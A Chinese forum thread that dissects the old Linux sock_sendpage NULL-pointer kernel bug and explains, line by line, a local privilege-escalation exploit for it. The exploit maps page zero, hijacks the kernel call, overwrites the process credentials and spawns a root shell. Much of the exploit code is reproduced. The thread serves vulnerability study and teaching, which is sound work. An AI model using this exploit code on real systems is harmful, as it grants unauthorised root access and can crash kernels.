免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 31190 | 回复: 67

剖析一个由sendfile引发的linux内核BUG [复制链接]

论坛徽章:
0
发表于 2010-01-13 16:55 |显示全部楼层
之前看了《新爆内核高危漏洞sock_sendpage的利用分析的讨论》这篇帖子,在九贱兄和诸位CUer的指引下,大致弄清了整个漏洞的始末。现与大家分享(引用自我的空间)。
有什么不足之处还望多多指教~

内核的BUG

这个BUG首先得从sendfile系统调用说起。
考虑将一个本地文件通过socket发送出去的问题。我们通常的做法是:打开文件fd和一个socket,然后循环地从文件fd中read数据,并将读取的数据send到socket中。这样,每次读写我们都需要两次系统调用,并且数据会被从内核拷贝到用户空间(read),再从用户空间拷贝到内核(send)。

而sendfile就将整个发送过程封装在一个系统调用中,避免了多次系统调用,避免了数据在内核空间和用户空间之间的大量拷贝。

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);


虽然这个系统调用接收in和out两个fd,但是有所限制,in只能是普通文件,out只能是socket(这个限制不知道后来的内核版本有没有放宽)。

sendfile系统调用在内核里面是怎么实现的呢?这个还是比较复杂,它在内核里面做了原来要在用户态做的事情:创建一个pipe对象作buffer用、从in_fd中读数据到pipe中、将pipe中的数据写到out_fd、循环直到满足结束条件。
关于写数据到out_fd的过程,简要描述如下:
sys_sendfile => 入口
do_sendfile => 参数检查,其中会确定out_fd对应的file结构包含sendfile方法(out_file->f_op->sendpage)
do_splice_direct => 最终调用到out_file->f_op->splice_write,而out_file是个socket,它的f_op->splice_write等于generic_splice_sendpage
generic_splice_sendpage => 最终调用到out_file->f_op->sendpage,这个sendpage等于sock_sendpage

sock_sendpage的代码如下:

struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
    flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);


注意,BUG出现了,调用sock->ops->sendpage之前没有判断这个函数指针是否为NULL。
(这里调用的sock->ops->sendpage就是out_file->f_op->private_data->ops->sendpage,out_file->f_op->private_data指针指向的是一个struct socket结构,因为这个fd代表的是一个socket。)

但是,这里的sock->ops->sendpage可能是NULL吗?搜索内核代码可以发现,并不是每一种类型的socket都会实现sendpage这个函数。但是大多数没有实现这个函数的socket都将这个函数指针设为sock_no_sendpage(这基本上是一个例行公事的空函数)。但是,有少数类型的socket却没有设置sock->ops->sendpage(没设置,则默认为NULL),如PF_PPPOX、PF_BLUETOOTH、等等。(上面链接给出的代码就利用了PF_PPPOX,后来我发现,用PF_BLUETOOTH也能达到一样的效果,而换用PF_INET之类的却不行。)


利用这个BUG

前面我们看到,内核在sendfile系统调用中,没有判断sock->ops->sendpage是否为空,就对它进行调用,并且sock->ops->sendpage的确可能为空。

如果我们的程序中调用一个值为NULL的函数指针,其结果会怎样?自然是程序崩溃,也仅仅就是崩溃而已。那么,这么个东西是怎么被利用,并实现窃取root身份的呢?让我们逐步解读上面链接给出的代码。
主函数main():

char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid(); // 获取用户ID,后面有用
gid = getgid(); // 获取用户组ID,后面有用
setresuid(uid, uid, uid); // 确保用户ID被设置到进程中
setresgid(gid, gid, gid); // 确保用户组ID被设置到进程中
// 以下几句就狠了,它把0~1000的地址做了映射,并且置可执行属性
if ((personality(0xffffffff)) != PER_SVR4) {
    if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
        perror("mmap") ;
        return -1;
    }
} else {
    if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
        perror("mprotect") ;
        return -1;
    }
}
// 以下几句更狠,在刚刚映射的0地址上写下JMP到kernel_code的指令
*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code – 6; // 这里是相对跳转,-6就是减去当前地址的地址值
// 创建一个临时文件,用作源文件
if ((fdin = mkstemp(template)) < 0) {
    perror("mkstemp") ;
    return -1;
}
// 创建一个socket,注意其类型为PF_PPPOX
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
    perror("socket") ;
    return -1;
}
// 下面重点就是sendfile了
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);


经过前面的介绍,我们可以看到,这里的sendfile将在系统调用中触发对0地址的调用。然而,现在0地址上已经被写下了JMP到kernel_code的指令。
这里的kernel_code实际上是和这个main在一起编译的一个函数,下面我们将会看到。


现在的处境

进入sendfile系统调用后,CPU进入内核态。内核态能干任何CPU能干的事情,一般情况下,只有内核代码能在内核态下执行,这是由内核来保证的。但是现在,内核代码调用了0地址的函数,进入了用户代码kernel_code。于是,程序员可以在他们自己写的kernel_code代码中干任何内核能干的事情。
注意,一般从内核态返回到用户态有专门的指令(比如iret),它会同时改变CPU特权级别。但是现在的情况不是这样,内核代码相当于是直接调用程序员写的函数,并没有返回用户态。

然而另一方面,内核代码可以轻松地访问内核的数据结构,因为内核代码是在一块编译的,对象的地址都知道、结构都清楚。而现在程序员写在kernel_code里的代码呢?尽管他们拥有与内核代码一样的访问权限,但是却不知道数据的地址和状态,他们现在是个瞎子。
下面,你会看到在kernel_code的代码中,示例代码的作者是怎样摸着石头过河的。


开始干坏事了

kernel_code函数主要分三个步骤:

1、获取task_struct

uint *p = get_current();


其中get_current的代码如下:

__asm__ __volatile__ (
    "movl %%esp, %%eax ;" // 将栈指针的值赋给EAX
    "andl %1, %%eax ;" // 将这个栈指针值与~8191(后13bit为0)取与
    "movl (%%eax), %0" // 将结果输出到curr变量中,此即task_struct指针
    : "=r" (curr)
    : "i" (~8191)
);


在内核中,每个进程拥有一个thread_info结构,以及内核栈。这两样东西是分配在两个连续的page中的,并且thread_info结构在前,栈在后。thread_info结构的第一个元素是task,它是一个指向task_struct结构(即通常所说的进程控制块)的指针。在这个task_struct结构中就保存着进程的主要信息。
(注:linux 2.4时,这里的两个page存放着task_struct结构和内核栈,并没有thread_info这样一层。)
在32位系统中,一个page的大小是4K,page的首字节的地址后12bit为0。而task_struct结构相当于是两page对齐的,其首地址的后13bit为0。
由此,通过栈指针的值,将后13bit清0后,得到进程对应的thread_info结构,再以thread_info结构为指针(该结构的第一个字,即指向task_struct结构的task指针),便能得到task_struct结构。
(其实,通过这样一段汇编代码拿到task_struct结构还是比较笨的办法。最简单的办法是:取当前栈上定义的任意一个变量,将其地址的后13位清0即可。)

2、拿到了task_struct,要干什么呢?示例代码的目标是修改task_struct中记录的用户信息,以使得这个进程变成是由root启动的进程。

for (i = 0; i < 1024-13; i++) {    
    if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
        p[0] = p[1] = p[2] = p[3] = 0;
        p[4] = p[5] = p[6] = p[7] = 0;
        p = (uint *) ((char *)(p + 8 ) + sizeof(void *));
        p[0] = p[1] = p[2] = ~0;
        break;
    }
    p++;
}


回想一下,在main函数中已经获取了用户和用户组ID,并设置到了进程中(设置到进程了task_struct结构中)。于是,搜索task_struct结构,试图匹配这几个ID。因为在不同版本的内核中,这几个ID放置的位置可能不大相同,但它们出现的顺序总是相同的。
如果被匹配到,那么就找到了这几个ID的存放地。然后,就可以将它们全部改为0。于是这个进程就变成root用户的进程了。

不过这种修改uid的方法在较新版本的内核中已经行不通了,uid、gid这些信息已经不是直接放在task_struct结构中,而是整理到一个叫cred的结构,然后task_struct结构保存了指向对应cred结构的指针。

3、回到用户态
好了,身份已经改好,程序回到用户态去,启动一个shell,然后好好体会root生活吧~

__asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
    : "i" (USER_CS), "r" (exit_code)
);


这段代码就是将返回地址压在内核栈上,然后iret返回用户态。返回地址被指定到exit_code上,这也是和main编译在一起的一个函数。其代码如下:

if (getuid() != 0) {
    fprintf(stderr, "failed\n") ;
    exit(-1);
}
execl("/bin/sh", "sh", "-i", NULL);


现在程序已经回到用户态了,调用getuid看看是不是已经成了root。确认无洖,启动shell吧~

问题的点睛

虽然上面的叙述一口气把这个内核漏洞的来龙去脉讲通了,但是有个重要的细节却一笔代过了。那就是映射0地址的部分,我觉得这才是整个攻击代码的点睛之笔。其代码大致如下:

if ((personality(0xffffffff)) != PER_SVR4) {
    mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0);
} else {
    mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
}

映射0地址,为什么不是直接的mmap,还要有这样的分支语句呢?personality函数和mprotect函数又是什么意思?
其实,这段攻击代码编译成的可执行文件(记为exploit)并不是直接在shell上面执行的。而是通过一段C代码来执行(见源码中的run.c):

int main(void) {
    if (personality(PER_SVR4) < 0) {
        perror("personality") ;
        return -1;
    }
    fprintf(stderr, "padlina z lublina!\n") ;
    execl("./exploit", "exploit", 0);
}

可以看到,在执行之前,也调用了personality函数。

linux内核具有很强的兼容性,不仅可以执行linux下编译的可执行文件,还可以执行在其他操作系统下编译的可执行文件:对于windows等一些操作系统上的可执行文件,linux通过运行于用户态的虚拟机程序(如wine)来运行;而对于某些类unix系统的可执行文件,linux则可以直接执行。
然而linux直接执行类unix系统的可执行文件,也并不是无缝的,需要设置“执行域”来告诉内核当前执行的是某某系统的可执行文件。于是,linux内核就会根据对应的类unix系统的规则(比如内存布局、信号处理等)来运行程序。

上面看到的personality函数就是用来设置“执行域”的(默认的执行域就是linux),而上面的启动代码就通过personality函数将进程的执行域设置为SVR4(一种较老的类unix系统,System V Release 4)。于是,在映射0地址时将走到调用mprotect函数的分支(personality(0xffffffff)表示获取当前的执行域)。
mmap是用来分配进程虚拟内存区域的函数,分配的同时可以设置其属性;而mprotect函数则是专门设置虚拟内存区域属性的函数。上面的攻击代码中,通过这个函数,把0地址设置为可执行。

在我的系统上,如果直接在shell上执行exploit程序(走mmap的分支),mmap会失败。因为在32位linux上,进程地址空间是从0x08048000开始使用的(依次是可执行代码区、全局数据区、堆、文件映射区、栈),从0地址到0x08048000的空间并不能被映射。

exploit程序之所以能够映射0地址,是因为发现了在SVR4这种执行域下,进程能够映射0地址。确切的说,0地址默认是有映射的存在的,代码只是修改了这个映射的属性。

在linux 2.6.29.4的代码中找到了以下一些内容:
personality.h,对SVR4执行域有如下选项定义(注意其中有个MMAP_PAGE_ZERO标记):
enum {
......
PER_SVR4 =   0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,
......
};

binfmt_elf.c:load_elf_binary(),在加载elf格式(linux下最常用的格式)的可执行文件时,有如下代码(针对MMAP_PAGE_ZERO标记做了特殊处理):
    ......
if (current->personality & MMAP_PAGE_ZERO) {
      /* Why this, you ask??? Well SVr4 maps page 0 as read-only,
      and some applications "depend" upon this behavior.
      Since we do not have the power to recompile these, we
      emulate the SVr4 behavior. Sigh. */
      down_write(&current->mm->mmap_sem);
      error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
      MAP_FIXED | MAP_PRIVATE, 0);
      up_write(&current->mm->mmap_sem);
}
......

看到作者的注释了吧~ 就这样,0地址被映射了。

[ 本帖最后由 kouu 于 2010-1-13 16:59 编辑 ]

论坛徽章:
0
发表于 2010-01-13 17:38 |显示全部楼层
不错, 不过内核的BUG没有说的太仔细, 我也写了一篇分析这个内核BUG的paper:
http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-13 17:47 |显示全部楼层
多谢kouu的好文。整理的比较系统。

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-13 17:52 |显示全部楼层
原帖由 W.Z.T 于 2010-1-13 17:38 发表
不错, 不过内核的BUG没有说的太仔细, 我也写了一篇分析这个内核BUG的paper:
http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html


刚刚看了一下W.Z.T兄分析的文章。主要是从系统调用开始,到最后指向了sendpage这个未初始化的指针。分析的很详细。

不过kouu兄分析的文章应该重点是在与利用这个漏洞的源码,比如设置执行域PER_SVR4,以及为什么可以映射0地址等,以及内核态执行0地址处的执行,进而调用了kernel_code,设置了进程的ID等。

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-13 18:03 |显示全部楼层
贴一下个人对该漏洞的一个简单总结,有错误的地方请大家指正:
三、总结
对于这样的BUG,个人有两点内容总结:
(1)我们可以通过该Bug的利用方式,能够明白只要有相关用户态的调用切换到内核态,而内核态调用的函数指向了NULL,那么上面的代码就可以顺利的执行。
    本人曾经在开启SElinux的系统上,加载一个注册proc文件的内核模块。其中read函数里面调用了一个指向NULL的函数指针。然后将引发BUG 的代码(上面的socket和sendfile)改为打开一个proc文件(调用open和read),同样获取到root用户的权限。

(2)即使在有些系统上无法顺利的利用该漏洞获取到root权限,但是只要其相关的代码没有修改,比如sock_sendpage函数调用之前仍不判断其有效性,那么我们同样可以利用exploit.c中触发BUG的代码,来攻击一个系统,至少可以上该系统的内核报出Oops。
   这也相当于为我们提供了一种挖掘Linux内核BUG的方法。

论坛徽章:
0
发表于 2010-01-13 18:30 |显示全部楼层
分析的不错

论坛徽章:
0
发表于 2010-01-13 19:22 |显示全部楼层
原帖由 Godbach 于 2010-1-13 17:52 发表


刚刚看了一下W.Z.T兄分析的文章。主要是从系统调用开始,到最后指向了sendpage这个未初始化的指针。分析的很详细。

不过kouu兄分析的文章应该重点是在与利用这个漏洞的源码,比如设置执行域PER_SVR4,以 ...


Linux kernel NULL pointer的漏洞利用方法都是大同小异的, 现在都有现成的模板直接往上套就行。 关键是怎样找到 NULL pointer的bug

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-13 19:35 |显示全部楼层
关键是怎样找到 NULL pointer的bug

是的。

另外,请教W.Z.T兄一个问题,这种映射0地址的方式,是不是仅在开启SElinux的系统上有效?

论坛徽章:
0
发表于 2010-01-14 09:01 |显示全部楼层
原帖由 Godbach 于 2010-1-13 19:35 发表

是的。

另外,请教W.Z.T兄一个问题,这种映射0地址的方式,是不是仅在开启SElinux的系统上有效?


根据我的实验,应该是和内核版本有关系的。比如有的内核不允许映射到0地址, 但是开启的selinux系统确可以。 这个系统就是能被攻击的。 更多关于NULL pointer的知识可以关注: http://www.cr0.org, 是google的内核安全研究人员, 爆过很多NULL pointer的漏洞。

[ 本帖最后由 W.Z.T 于 2010-1-14 09:02 编辑 ]

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2010-01-14 09:56 |显示全部楼层
根据我的实验,应该是和内核版本有关系的。比如有的内核不允许映射到0地址, 但是开启的selinux系统确可以。 这个系统就是能被攻击的。 更多关于NULL pointer的知识可以关注: http://www.cr0.org, 是google的内核安全研究人员, 爆过很多NULL pointer的漏洞。


多谢W.Z.T兄指点。记得该漏洞的另外一个例程,代码中区分了多种情况:
(1)如果不存在vm.mmap_min_addr或者其为0,代表可以直接映射0地址。
(2)若内核不允许映射,则可以将personality设置为PER_SVR4,同样可以达到映射0地址的效果。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP